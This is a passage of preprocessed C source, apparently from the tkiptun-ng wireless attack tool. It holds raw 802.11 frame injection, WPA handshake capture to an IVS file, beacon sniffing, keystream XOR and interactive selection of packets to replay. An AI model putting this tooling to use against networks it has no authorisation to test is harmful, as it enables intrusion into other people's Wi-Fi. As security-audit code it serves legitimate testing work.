 unsigned char eapol[256];
 int eapol_size;
 int keyver;
 int state;
};

struct options
{
    unsigned char f_bssid[6];
    unsigned char f_dmac[6];
    unsigned char f_smac[6];
    int f_minlen;
    int f_maxlen;
    int f_minlen_set;
    int f_maxlen_set;
    int f_type;
    int f_subtype;
    int f_tods;
    int f_fromds;
    int f_iswep;

    FILE *f_ivs;

    int r_nbpps;
    int r_fctrl;
    unsigned char r_bssid[6];
    unsigned char r_dmac[6];
    unsigned char r_smac[6];
    unsigned char r_apmac[6];
    unsigned char r_dip[4];
    unsigned char r_sip[4];
    char r_essid[33];
    int r_fromdsinj;
    char r_smac_set;

    char ip_out[16];
    char ip_in[16];
    int port_out;
    int port_in;

    char *iface_out;
    char *s_face;
    char *s_file;
    unsigned char *prga;

    int a_mode;
    int a_count;
    int a_delay;

    int ringbuffer;
    int ghost;
    int prgalen;

    int delay;
    int npackets;

    int fast;
    int bittest;

    int nodetect;

    unsigned char oldkeystream[2048];
    int oldkeystreamlen;
    char wpa_essid[256];
    char psk[128];
    unsigned char pmk[128];
    unsigned char ptk[80];
    unsigned char ip_cli[4];
    unsigned char ip_ap[4];
    int got_ptk;
    int got_pmk;
    int got_psk;
    int got_mic_fromds;
    int got_mic_tods;
    int got_ip_ap;
    int got_ip_client;

    struct WPA_hdsk wpa;
    struct WPA_ST_info wpa_sta;
    time_t wpa_time;

    unsigned char *chopped_from_plain;
    unsigned char *chopped_to_plain;
    unsigned char *chopped_from_prga;
    unsigned char *chopped_to_prga;
    int chopped_from_plain_len;
    int chopped_to_plain_len;
    int chopped_from_prga_len;
    int chopped_to_prga_len;

    struct timeval last_mic_failure;
    int mic_failure_interval;
}
opt;

struct devices
{
    int fd_in, arptype_in;
    int fd_out, arptype_out;
    int fd_rtc;

    unsigned char mac_in[6];
    unsigned char mac_out[6];

    int is_wlanng;
    int is_hostap;
    int is_madwifi;
    int is_madwifing;
    int is_bcm43xx;

    FILE *f_cap_in;

    struct pcap_file_header pfh_in;
}
dev;

static struct wif *_wi_in, *_wi_out;

struct ARP_req
{
    unsigned char *buf;
    int hdrlen;
    int len;
};

struct APt
{
    unsigned char set;
    unsigned char found;
    unsigned char len;
    unsigned char essid[255];
    unsigned char bssid[6];
    unsigned char chan;
    unsigned int ping[30];
    int pwr[30];
};

struct APt ap[20];

unsigned long nb_pkt_sent;
unsigned char h80211[4096];
unsigned char tmpbuf[4096];
unsigned char srcbuf[4096];
char strbuf[512];

unsigned char ska_auth1[] = "\xb0\x00\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\xb0\x01\x01\x00\x01\x00\x00\x00";

unsigned char ska_auth3[4096] = "\xb0\x40\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\xc0\x01";


int ctrl_c, alarmed;

char * iwpriv;


void sighandler( int signum )
{
    if( signum == 2 )
        ctrl_c++;

    if( signum == 14 )
        alarmed++;
}

int reset_ifaces()
{

    if(_wi_in != _wi_out)
    {
        if(_wi_in)
        {
            wi_close(_wi_in);
            _wi_in = ((void *)0);
        }
        if(_wi_out)
        {
            wi_close(_wi_out);
            _wi_out = ((void *)0);
        }
    }
    else
    {
        if(_wi_out)
        {
            wi_close(_wi_out);
            _wi_out = ((void *)0);
            _wi_in = ((void *)0);
        }
    }


    _wi_out = wi_open(opt.iface_out);
    if (!_wi_out)
        return 1;
    dev.fd_out = wi_fd(_wi_out);


    if( opt.s_face != ((void *)0) )
    {
        _wi_in = wi_open(opt.s_face);
        if (!_wi_in)
            return 1;
        dev.fd_in = wi_fd(_wi_in);
        wi_get_mac(_wi_in, dev.mac_in);
    }
    else
    {
        _wi_in = _wi_out;
        dev.fd_in = dev.fd_out;


        dev.arptype_in = dev.arptype_out;
        wi_get_mac(_wi_in, dev.mac_in);
    }

    wi_get_mac(_wi_out, dev.mac_out);

    return 0;
}

int set_bitrate(struct wif *wi, int rate)
{
    int i, newrate;

    if( wi_set_rate(wi, rate) )
        return 1;





    if (rate == 5500000 && wi_get_rate(wi) != 5500000) {
 if( wi_set_rate(wi, 5000000) )
     return 1;
    }

    newrate = wi_get_rate(wi);
    for(i=0; i<12; i++)
    {
        if(bitrates[i] == rate)
            break;
    }
    if(i==12)
        i=-1;
    if( newrate != rate )
    {
        if(i!=-1)
        {
            if( i>0 )
            {
                if(bitrates[i-1] >= newrate)
                {
                    printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n", (rate/1000000.0), (wi_get_rate(wi)/1000000.0));
                    return 1;
                }
            }
            if( i<12 -1 )
            {
                if(bitrates[i+1] <= newrate)
                {
                    printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n", (rate/1000000.0), (wi_get_rate(wi)/1000000.0));
                    return 1;
                }
            }
            return 0;
        }
        printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n", (rate/1000000.0), (wi_get_rate(wi)/1000000.0));
        return 1;
    }
    return 0;
}

int check_received(unsigned char *packet, int length)
{
    int z;
    unsigned char bssid[6], smac[6], dmac[6];
    struct ivs2_pkthdr ivs2;

    z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30;

    if(length < z) return 0;


    if( (packet[0] & 0x80) == 0x80) z+=2;

    switch( packet[1] & 3 )
    {
        case 0:
            memcpy( bssid, packet + 16, 6 );
            memcpy( dmac, packet + 4, 6 );
            memcpy( smac, packet + 10, 6 );
            break;
        case 1:
            memcpy( bssid, packet + 4, 6 );
            memcpy( dmac, packet + 16, 6 );
            memcpy( smac, packet + 10, 6 );
            break;
        case 2:
            memcpy( bssid, packet + 10, 6 );
            memcpy( dmac, packet + 4, 6 );
            memcpy( smac, packet + 16, 6 );
            break;
        default:
            memcpy( bssid, packet + 10, 6 );
            memcpy( dmac, packet + 16, 6 );
            memcpy( smac, packet + 24, 6 );
            break;
    }

    if( memcmp(bssid, opt.f_bssid, 6) != 0 )
    {
        return(0);
    }
    else
    {
        if(memcmp(dmac, opt.wpa.stmac, 6) != 0 && memcmp(smac, opt.wpa.stmac, 6) != 0)
            return(0);
    }

    if( z + 26 > length )
        return 0;

    if(!(packet[1] & 0x40))
    {
        z += 6;


        if( packet[z] == 0x88 && packet[z + 1] == 0x8E && (packet[1] & 0x40) != 0x40 )
        {
            if(opt.wpa.state != 7 || time(((void *)0)) - opt.wpa_time > 1)
            {
                z += 2;



                if( ( packet[z + 6] & 0x08 ) != 0 &&
                        ( packet[z + 6] & 0x40 ) == 0 &&
                        ( packet[z + 6] & 0x80 ) != 0 &&
                        ( packet[z + 5] & 0x01 ) == 0 )
                {
                    memcpy( opt.wpa.anonce, &packet[z + 17], 32 );
                    opt.wpa.state = 1;
                }




                if( z+17+32 > length )
                    return 0;

                if( ( packet[z + 6] & 0x08 ) != 0 &&
                        ( packet[z + 6] & 0x40 ) == 0 &&
                        ( packet[z + 6] & 0x80 ) == 0 &&
                        ( packet[z + 5] & 0x01 ) != 0 )
                {
                    if( memcmp( &packet[z + 17], ZERO, 32 ) != 0 )
                    {
                        memcpy( opt.wpa.snonce, &packet[z + 17], 32 );
                        opt.wpa.state |= 2;

                    }

                    if( (opt.wpa.state & 4) != 4 )
                    {
                        opt.wpa.eapol_size = ( packet[z + 2] << 8 )
                                + packet[z + 3] + 4;

                        memcpy( opt.wpa.keymic, &packet[z + 81], 16 );
                        memcpy( opt.wpa.eapol, &packet[z], opt.wpa.eapol_size );
                        memset( opt.wpa.eapol + 81, 0, 16 );
                        opt.wpa.state |= 4;
                        opt.wpa.keyver = packet[z + 6] & 7;
                    }
                }



                if( ( packet[z + 6] & 0x08 ) != 0 &&
                        ( packet[z + 6] & 0x40 ) != 0 &&
                        ( packet[z + 6] & 0x80 ) != 0 &&
                        ( packet[z + 5] & 0x01 ) != 0 )
                {
                    if( memcmp( &packet[z + 17], ZERO, 32 ) != 0 )
                    {
                        memcpy( opt.wpa.anonce, &packet[z + 17], 32 );
                        opt.wpa.state |= 1;
                    }

                    if( (opt.wpa.state & 4) != 4 )
                    {
                        opt.wpa.eapol_size = ( packet[z + 2] << 8 )
                                + packet[z + 3] + 4;

                        memcpy( opt.wpa.keymic, &packet[z + 81], 16 );
                        memcpy( opt.wpa.eapol, &packet[z], opt.wpa.eapol_size );
                        memset( opt.wpa.eapol + 81, 0, 16 );
                        opt.wpa.state |= 4;
                        opt.wpa.keyver = packet[z + 6] & 7;
                    }
                }

                if( opt.wpa.state == 7)
                {
                    memcpy( opt.wpa.stmac, opt.r_smac, 6 );
                    { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("WPA handshake: %02X:%02X:%02X:%02X:%02X:%02X captured\n",
                        opt.r_bssid[0], opt.r_bssid[1], opt.r_bssid[2],
                        opt.r_bssid[3], opt.r_bssid[4], opt.r_bssid[5]);

                    opt.wpa_time = time(((void *)0));

                    if( opt.f_ivs != ((void *)0) )
                    {
                        memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
                        ivs2.flags = 0;
                        ivs2.len = 0;

                        ivs2.len= sizeof(struct WPA_hdsk);
                        ivs2.flags |= 0x0004;

                        ivs2.flags |= 0x0001;
                        ivs2.len += 6;

                        if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), opt.f_ivs )
                            != (size_t) sizeof(struct ivs2_pkthdr) )
                        {
                            perror( "fwrite(IV header) failed" );
                            return( 1 );
                        }

                        if( ivs2.flags & 0x0001 )
                        {
                            if( fwrite( opt.r_bssid, 1, 6, opt.f_ivs ) != (size_t) 6 )
                            {
                                perror( "fwrite(IV bssid) failed" );
                                return( 1 );
                            }
                            ivs2.len -= 6;
                        }

                        if( fwrite( &(opt.wpa), 1, sizeof(struct WPA_hdsk), opt.f_ivs ) != (size_t) sizeof(struct WPA_hdsk) )
                        {
                            perror( "fwrite(IV wpa_hdsk) failed" );
                            return( 1 );
                        }
                    }
                }
            }
        }
    }

    return 0;
}

int send_packet(void *buf, size_t count)
{
 struct wif *wi = _wi_out;
# 660 "tkiptun-ng.c"
 if (wi_write(wi, buf, count, ((void *)0)) == -1) {
  switch ((*__errno_location ())) {
  case 11:
  case 105:
   usleep(10000);
   return 0;
  }

  perror("wi_write()");
  return -1;
 }

 nb_pkt_sent++;
 return 0;
}

int read_packet(void *buf, size_t count, struct rx_info *ri)
{
    struct wif *wi = _wi_in;
    int rc;

    rc = wi_read(wi, buf, count, ri);
    if (rc == -1) {
        switch ((*__errno_location ())) {
        case 11:
                return 0;
        }

        perror("wi_read()");
        return -1;
    }

    return rc;
}

void read_sleep( int usec )
{
    struct timeval tv, tv2, tv3;
    int caplen;
    fd_set rfds;

    gettimeofday(&tv, ((void *)0));
    gettimeofday(&tv2, ((void *)0));

    tv3.tv_sec=0;
    tv3.tv_usec=10000;

    while( ((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) < (usec) )
    {
        do { unsigned int __i; fd_set *__arr = (&rfds); for (__i = 0; __i < sizeof (fd_set) / sizeof (__fd_mask); ++__i) ((__arr)->__fds_bits)[__i] = 0; } while (0);
        ((void) (((&rfds)->__fds_bits)[__extension__ ({ long int __d = (dev.fd_in); (__builtin_constant_p (__d) ? (0 <= __d && __d < 1024 ? (__d / (8 * (int) sizeof (__fd_mask))) : __fdelt_warn (__d)) : __fdelt_chk (__d)); })] |= ((__fd_mask) 1 << ((dev.fd_in) % (8 * (int) sizeof (__fd_mask))))));

        if( select( dev.fd_in + 1, &rfds, ((void *)0), ((void *)0), &tv3 ) < 0 )
        {
            continue;
        }

        if( ((((&rfds)->__fds_bits)[__extension__ ({ long int __d = (dev.fd_in); (__builtin_constant_p (__d) ? (0 <= __d && __d < 1024 ? (__d / (8 * (int) sizeof (__fd_mask))) : __fdelt_warn (__d)) : __fdelt_chk (__d)); })] & ((__fd_mask) 1 << ((dev.fd_in) % (8 * (int) sizeof (__fd_mask))))) != 0) )
        {
            caplen = read_packet( h80211, sizeof( h80211 ), ((void *)0) );
            check_received(h80211, caplen);
        }

        usleep(1000);
        gettimeofday(&tv2, ((void *)0));
    }
}

int filter_packet( unsigned char *h80211, int caplen )
{
    int z, mi_b, mi_s, mi_d, ext=0, qos=0;

    if(caplen <= 0)
        return( 1 );

    z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
    if ( ( h80211[0] & 0x80 ) == 0x80 )
    {
        qos = 1;
        z+=2;
    }

    if(!qos) return(1);

    if( (h80211[0] & 0x0C) == 0x08)
        ext = z-24;


    if( caplen-ext < opt.f_minlen ||
        caplen-ext > opt.f_maxlen ) return( 1 );



    if( ( h80211[0] & 0x80 ) != 0x80 )
        return( 1 );

    if( ( h80211[0] & 0x0C ) != ( opt.f_type << 2 ) &&
        opt.f_type >= 0 ) return( 1 );

    if( ( h80211[0] & 0x70 ) != (( opt.f_subtype << 4 ) & 0x70) &&
        opt.f_subtype >= 0 ) return( 1 );

    if( ( h80211[1] & 0x01 ) != ( opt.f_tods ) &&
        opt.f_tods >= 0 ) return( 1 );

    if( ( h80211[1] & 0x02 ) != ( opt.f_fromds << 1 ) &&
        opt.f_fromds >= 0 ) return( 1 );

    if( ( h80211[1] & 0x40 ) != ( opt.f_iswep << 6 ) &&
        opt.f_iswep >= 0 ) return( 1 );
# 778 "tkiptun-ng.c"
    switch( h80211[1] & 3 )
    {
        case 0: mi_b = 16; mi_s = 10; mi_d = 4; break;
        case 1: mi_b = 4; mi_s = 10; mi_d = 16; break;
        case 2: mi_b = 10; mi_s = 16; mi_d = 4; break;
        default: mi_b = 10; mi_d = 16; mi_s = 24; break;
    }

    if( memcmp( opt.f_bssid, (unsigned char*)"\x00\x00\x00\x00\x00\x00", 6 ) != 0 )
        if( memcmp( h80211 + mi_b, opt.f_bssid, 6 ) != 0 )
            return( 1 );

    if( memcmp( opt.f_bssid, opt.f_smac, 6) == 0)
    {
        if( memcmp( opt.f_smac, (unsigned char*)"\x00\x00\x00\x00\x00\x00", 6 ) != 0 )
            if( memcmp( h80211 + mi_s, opt.f_smac, 5 ) != 0 )
                return( 1 );
    }
    else
    {
        if( memcmp( opt.f_smac, (unsigned char*)"\x00\x00\x00\x00\x00\x00", 6 ) != 0 )
            if( memcmp( h80211 + mi_s, opt.f_smac, 6 ) != 0 )
                return( 1 );
    }

    if( memcmp( opt.f_bssid, opt.f_dmac, 6) == 0)
    {
        if( memcmp( opt.f_dmac, (unsigned char*)"\x00\x00\x00\x00\x00\x00", 6 ) != 0 )
            if( memcmp( h80211 + mi_d, opt.f_dmac, 5 ) != 0 )
                return( 1 );
    }
    else
    {
        if( memcmp( opt.f_dmac, (unsigned char*)"\x00\x00\x00\x00\x00\x00", 6 ) != 0 )
            if( memcmp( h80211 + mi_d, opt.f_dmac, 6 ) != 0 )
                return( 1 );
    }



    return( 0 );
}

int wait_for_beacon(unsigned char *bssid, unsigned char *capa, char *essid)
{
    int len = 0, chan = 0, taglen = 0, tagtype = 0, pos = 0;
    unsigned char pkt_sniff[4096];
    struct timeval tv,tv2;
    char essid2[33];

    gettimeofday(&tv, ((void *)0));
    while (1)
    {
        len = 0;
        while (len < 22)
        {
            len = read_packet(pkt_sniff, sizeof(pkt_sniff), ((void *)0));

            gettimeofday(&tv2, ((void *)0));
            if(((tv2.tv_sec-tv.tv_sec)*1000000) + (tv2.tv_usec-tv.tv_usec) > 10000*1000)
            {
                return -1;
            }
            if(len <= 0) usleep(1000);
        }
        if (! memcmp(pkt_sniff, "\x80", 1))
        {
            pos = 0;
            taglen = 22;
            taglen+= 12;
            do
            {
                pos += taglen + 2;
                tagtype = pkt_sniff[pos];
                taglen = pkt_sniff[pos+1];
            } while(tagtype != 3 && pos < len-2);

            if(tagtype != 3) continue;
            if(taglen != 1) continue;
            if(pos+2+taglen > len) continue;

            chan = pkt_sniff[pos+2];

            if(essid)
            {
                pos = 0;
                taglen = 22;
                taglen+= 12;
                do
                {
                    pos += taglen + 2;
                    tagtype = pkt_sniff[pos];
                    taglen = pkt_sniff[pos+1];
                } while(tagtype != 0 && pos < len-2);

                if(tagtype != 0) continue;
                if(taglen <= 1)
                {
                    if (memcmp(bssid, pkt_sniff+10, 6) == 0) break;
                    else continue;
                }
                if(pos+2+taglen > len) continue;

                if(taglen > 32)taglen = 32;

                if((pkt_sniff+pos+2)[0] < 32 && memcmp(bssid, pkt_sniff+10, 6) == 0)
                {
                    break;
                }


                if(bssid != ((void *)0) && memcmp(bssid, pkt_sniff+10, 6) == 0 && strlen(essid) == 0)
                {
                    memset(essid, 0, 33);
                    memcpy(essid, pkt_sniff+pos+2, taglen);
                    break;
                }


                if(bssid != ((void *)0) && memcmp(bssid, (unsigned char*)"\x00\x00\x00\x00\x00\x00", 6) == 0 && strncasecmp(essid, (char*)pkt_sniff+pos+2, taglen) == 0 && strlen(essid) == (unsigned)taglen)
                {
                    memset(essid, 0, 33);
                    memcpy(essid, pkt_sniff+pos+2, taglen);
                    memcpy(bssid, pkt_sniff+10, 6);
                    printf("Found BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\" to given ESSID \"%s\".\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], essid);
                    break;
                }


                if(bssid != ((void *)0) && memcmp(bssid, pkt_sniff+10, 6) == 0 && strlen(essid) > 0)
                {
                    memset(essid2, 0, 33);
                    memcpy(essid2, pkt_sniff+pos+2, taglen);
                    if(strncasecmp(essid, essid2, taglen) == 0 && strlen(essid) == (unsigned)taglen)
                        break;
                    else
                    {
                        printf("For the given BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\", there is an ESSID mismatch!\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
                        printf("Found ESSID \"%s\" vs. specified ESSID \"%s\"\n", essid2, essid);
                        printf("Using the given one, double check it to be sure its correct!\n");
                        break;
                    }
                }
            }
        }
    }

    if(capa) memcpy(capa, pkt_sniff+34, 2);

    return chan;
}




int attack_check(unsigned char* bssid, char* essid, unsigned char* capa, struct wif *wi)
{
    int ap_chan=0, iface_chan=0;

    iface_chan = wi_get_channel(wi);

    if(bssid != ((void *)0))
    {
        ap_chan = wait_for_beacon(bssid, capa, essid);
        if(ap_chan < 0)
        {
            { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("No such BSSID available.\n");
            return -1;
        }
        if(ap_chan != iface_chan)
        {
            { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("%s is on channel %d, but the AP uses channel %d\n", wi_get_ifname(wi), iface_chan, ap_chan);
            return -1;
        }
    }

    return 0;
}

int getnet( unsigned char* capa, int filter, int force)
{
    unsigned char *bssid;

    if(opt.nodetect)
        return 0;

    if(filter)
        bssid = opt.f_bssid;
    else
        bssid = opt.r_bssid;


    if( memcmp(bssid, (unsigned char*)"\x00\x00\x00\x00\x00\x00", 6) )
    {
        { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Waiting for beacon frame (BSSID: %02X:%02X:%02X:%02X:%02X:%02X) on channel %d\n",
                    bssid[0],bssid[1],bssid[2],bssid[3],bssid[4],bssid[5],wi_get_channel(_wi_in));
    }
    else if(strlen(opt.r_essid) > 0)
    {
        { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Waiting for beacon frame (ESSID: %s) on channel %d\n", opt.r_essid,wi_get_channel(_wi_in));
    }
    else if(force)
    {
        { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); };
        if(filter)
        {
            printf("Please specify at least a BSSID (-b) or an ESSID (-e)\n");
        }
        else
        {
            printf("Please specify at least a BSSID (-a) or an ESSID (-e)\n");
        }
        return( 1 );
    }
    else
        return 0;

    if( attack_check(bssid, opt.r_essid, capa, _wi_in) != 0)
    {
        if(memcmp(bssid, (unsigned char*)"\x00\x00\x00\x00\x00\x00", 6))
        {
            if( strlen(opt.r_essid) == 0 || opt.r_essid[0] < 32)
            {
                printf( "Please specify an ESSID (-e).\n" );
            }
        }

        if(!memcmp(bssid, (unsigned char*)"\x00\x00\x00\x00\x00\x00", 6))
        {
            if(strlen(opt.r_essid) > 0)
            {
                printf( "Please specify a BSSID (-a).\n" );
            }
        }
        return( 1 );
    }

    return 0;
}

int xor_keystream(unsigned char *ph80211, unsigned char *keystream, int len)
{
    int i=0;

    for (i=0; i<len; i++) {
        ph80211[i] = ph80211[i] ^ keystream[i];
    }

    return 0;
}

int capture_ask_packet( int *caplen, int just_grab )
{
    time_t tr;
    struct timeval tv;
    struct tm *lt;

    fd_set rfds;
    long nb_pkt_read;
    int i, j, n, mi_b=0, mi_s=0, mi_d=0, mi_t=0, mi_r=0, is_wds=0, key_index_offset;
    int ret, z;

    FILE *f_cap_out;
    struct pcap_file_header pfh_out;
    struct pcap_pkthdr pkh;

    if( opt.f_minlen < 0 ) opt.f_minlen = 40;
    if( opt.f_maxlen < 0 ) opt.f_maxlen = 1500;
    if( opt.f_type < 0 ) opt.f_type = 2;
    if( opt.f_subtype < 0 ) opt.f_subtype = 0;
    if( opt.f_iswep < 0 ) opt.f_iswep = 1;

    tr = time( ((void *)0) );

    nb_pkt_read = 0;

    signal( 2, ((__sighandler_t) 0) );

    while( 1 )
    {
        if( time( ((void *)0) ) - tr > 0 )
        {
            tr = time( ((void *)0) );
            printf( "\rRead %ld packets...\r", nb_pkt_read );
            fflush( stdout );
        }

        if( opt.s_file == ((void *)0) )
        {
            do { unsigned int __i; fd_set *__arr = (&rfds); for (__i = 0; __i < sizeof (fd_set) / sizeof (__fd_mask); ++__i) ((__arr)->__fds_bits)[__i] = 0; } while (0);
            ((void) (((&rfds)->__fds_bits)[__extension__ ({ long int __d = (dev.fd_in); (__builtin_constant_p (__d) ? (0 <= __d && __d < 1024 ? (__d / (8 * (int) sizeof (__fd_mask))) : __fdelt_warn (__d)) : __fdelt_chk (__d)); })] |= ((__fd_mask) 1 << ((dev.fd_in) % (8 * (int) sizeof (__fd_mask))))));

            tv.tv_sec = 1;
            tv.tv_usec = 0;

            if( select( dev.fd_in + 1, &rfds, ((void *)0), ((void *)0), &tv ) < 0 )
            {
                if( (*__errno_location ()) == 4 ) continue;
                perror( "select failed" );
                return( 1 );
            }

            if( ! ((((&rfds)->__fds_bits)[__extension__ ({ long int __d = (dev.fd_in); (__builtin_constant_p (__d) ? (0 <= __d && __d < 1024 ? (__d / (8 * (int) sizeof (__fd_mask))) : __fdelt_warn (__d)) : __fdelt_chk (__d)); })] & ((__fd_mask) 1 << ((dev.fd_in) % (8 * (int) sizeof (__fd_mask))))) != 0) )
                continue;

            gettimeofday( &tv, ((void *)0) );

            *caplen = read_packet( h80211, sizeof( h80211 ), ((void *)0) );

            if( *caplen < 0 ) return( 1 );
            if( *caplen == 0 ) continue;
        }
        else
        {


            n = sizeof( pkh );

            if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 )
            {
                printf( "\r\33[KEnd of file.\n" );
                return( 1 );
            }

            if( dev.pfh_in.magic == 0xD4C3B2A1 )
                pkh.caplen = ( ( ( pkh.caplen >> 24 ) & 0x000000FF ) | ( ( pkh.caplen >> 8 ) & 0x0000FF00 ) | ( ( pkh.caplen << 8 ) & 0x00FF0000 ) | ( ( pkh.caplen << 24 ) & 0xFF000000 ) );;

            tv.tv_sec = pkh.tv_sec;
            tv.tv_usec = pkh.tv_usec;

            n = *caplen = pkh.caplen;

            if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) )
            {
                printf( "\r\33[KInvalid packet length %d.\n", n );
                return( 1 );
            }

            if( fread( h80211, n, 1, dev.f_cap_in ) != 1 )
            {
                printf( "\r\33[KEnd of file.\n" );
                return( 1 );
            }

            if( dev.pfh_in.linktype == 119 )
            {
                if( h80211[7] == 0x40 )
                    n = 64;
                else
                    n = *(int *)( h80211 + 4 );

                if( n < 8 || n >= (int) *caplen )
                    continue;

                memcpy( tmpbuf, h80211, *caplen );
                *caplen -= n;
                memcpy( h80211, tmpbuf + n, *caplen );
            }

            if( dev.pfh_in.linktype == 127 )
            {


                n = *(unsigned short *)( h80211 + 2 );

                if( n <= 0 || n >= (int) *caplen )
                    continue;

                memcpy( tmpbuf, h80211, *caplen );
                *caplen -= n;
                memcpy( h80211, tmpbuf + n, *caplen );
            }

            if( dev.pfh_in.linktype == 192 )
            {


                n = (*(unsigned short *)( h80211 + 2));

                if( n <= 0 || n>= (int) *caplen )
                    continue;


                if ( n == 24 && (*(unsigned short *)(h80211 + 8)) == 2 )
                    n = 32;

                if( n <= 0 || n>= (int) *caplen )
                    continue;

                memcpy( tmpbuf, h80211, *caplen );
                *caplen -= n;
                memcpy( h80211, tmpbuf + n, *caplen );
            }
        }

        nb_pkt_read++;

        if( filter_packet( h80211, *caplen ) != 0 )
            continue;

        if(opt.fast)
            break;

        z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
        if ( ( h80211[0] & 0x80 ) == 0x80 )
            z+=2;

        switch( h80211[1] & 3 )
        {
            case 0: mi_b = 16; mi_s = 10; mi_d = 4; is_wds = 0; break;
            case 1: mi_b = 4; mi_s = 10; mi_d = 16; is_wds = 0; break;
            case 2: mi_b = 10; mi_s = 16; mi_d = 4; is_wds = 0; break;
            case 3: mi_t = 10; mi_r = 4; mi_d = 16; mi_s = 24; is_wds = 1; break;
        }

        printf( "\n\n        Size: %d, FromDS: %d, ToDS: %d",
                *caplen, ( h80211[1] & 2 ) >> 1, ( h80211[1] & 1 ) );

        if( ( h80211[0] & 0x0C ) == 8 && ( h80211[1] & 0x40 ) != 0 )
        {


            key_index_offset = z+3;

            if( ( h80211[key_index_offset] & 0x20 ) == 0 )
                printf( " (WEP)" );
            else
                printf( " (WPA)" );
        }

        printf( "\n\n" );

        if (is_wds) {
            printf( "        Transmitter  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
                    h80211[mi_t ], h80211[mi_t + 1],
                    h80211[mi_t + 2], h80211[mi_t + 3],
                    h80211[mi_t + 4], h80211[mi_t + 5] );

            printf( "           Receiver  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
                    h80211[mi_r ], h80211[mi_r + 1],
                    h80211[mi_r + 2], h80211[mi_r + 3],
                    h80211[mi_r + 4], h80211[mi_r + 5] );
        } else {
            printf( "              BSSID  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
                    h80211[mi_b ], h80211[mi_b + 1],
                    h80211[mi_b + 2], h80211[mi_b + 3],
                    h80211[mi_b + 4], h80211[mi_b + 5] );
        }

        printf( "          Dest. MAC  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
                h80211[mi_d ], h80211[mi_d + 1],
                h80211[mi_d + 2], h80211[mi_d + 3],
                h80211[mi_d + 4], h80211[mi_d + 5] );

        printf( "         Source MAC  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
                h80211[mi_s ], h80211[mi_s + 1],
                h80211[mi_s + 2], h80211[mi_s + 3],
                h80211[mi_s + 4], h80211[mi_s + 5] );



        for( i = 0; i < *caplen; i++ )
        {
            if( ( i & 15 ) == 0 )
            {
                if( i == 224 )
                {
                    printf( "\n        --- CUT ---" );
                    break;
                }

                printf( "\n        0x%04x:  ", i );
            }

            printf( "%02x", h80211[i] );

            if( ( i & 1 ) != 0 )
                printf( " " );

            if( i == *caplen - 1 && ( ( i + 1 ) & 15 ) != 0 )
            {
                for( j = ( ( i + 1 ) & 15 ); j < 16; j++ )
                {
                    printf( "  " );
                    if( ( j & 1 ) != 0 )
                        printf( " " );
                }

                printf( " " );

                for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ )
                    printf( "%c", ( h80211[i - 15 + j] < 32 ||
                                    h80211[i - 15 + j] > 126 )
                                  ? '.' : h80211[i - 15 + j] );
            }

            if( i > 0 && ( ( i + 1 ) & 15 ) == 0 )
            {
                printf( " " );

                for( j = 0; j < 16; j++ )
                    printf( "%c", ( h80211[i - 15 + j] < 32 ||
                                    h80211[i - 15 + j] > 127 )
                                  ? '.' : h80211[i - 15 + j] );
            }
        }

        printf( "\n\nUse this packet ? " );
        fflush( stdout );
        ret=0;
        while(!ret) ret = scanf( "%s", tmpbuf );
        printf( "\n" );

        if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' )
            break;
    }

    if(!just_grab)
    {
        pfh_out.magic = 0xA1B2C3D4;
        pfh_out.version_major = 2;
        pfh_out.version_minor = 4;
        pfh_out.thiszone = 0;
        pfh_out.sigfigs = 0;
        pfh_out.snaplen = 65535;
        pfh_out.linktype = 105;

        lt = localtime( (const time_t *) &tv.tv_sec );

        memset( strbuf, 0, sizeof( strbuf ) );
        snprintf( strbuf, sizeof( strbuf ) - 1,
                "replay_src-%02d%02d-%02d%02d%02d.cap",
                lt->tm_mon + 1, lt->tm_mday,
                lt->tm_hour, lt->tm_min, lt->tm_sec );

        printf( "Saving chosen packet in %s\n", strbuf );

        if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == ((void *)0) )
        {
            perror( "fopen failed" );
            return( 1 );
        }

        n = sizeof( struct pcap_file_header );

        if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 )
        {
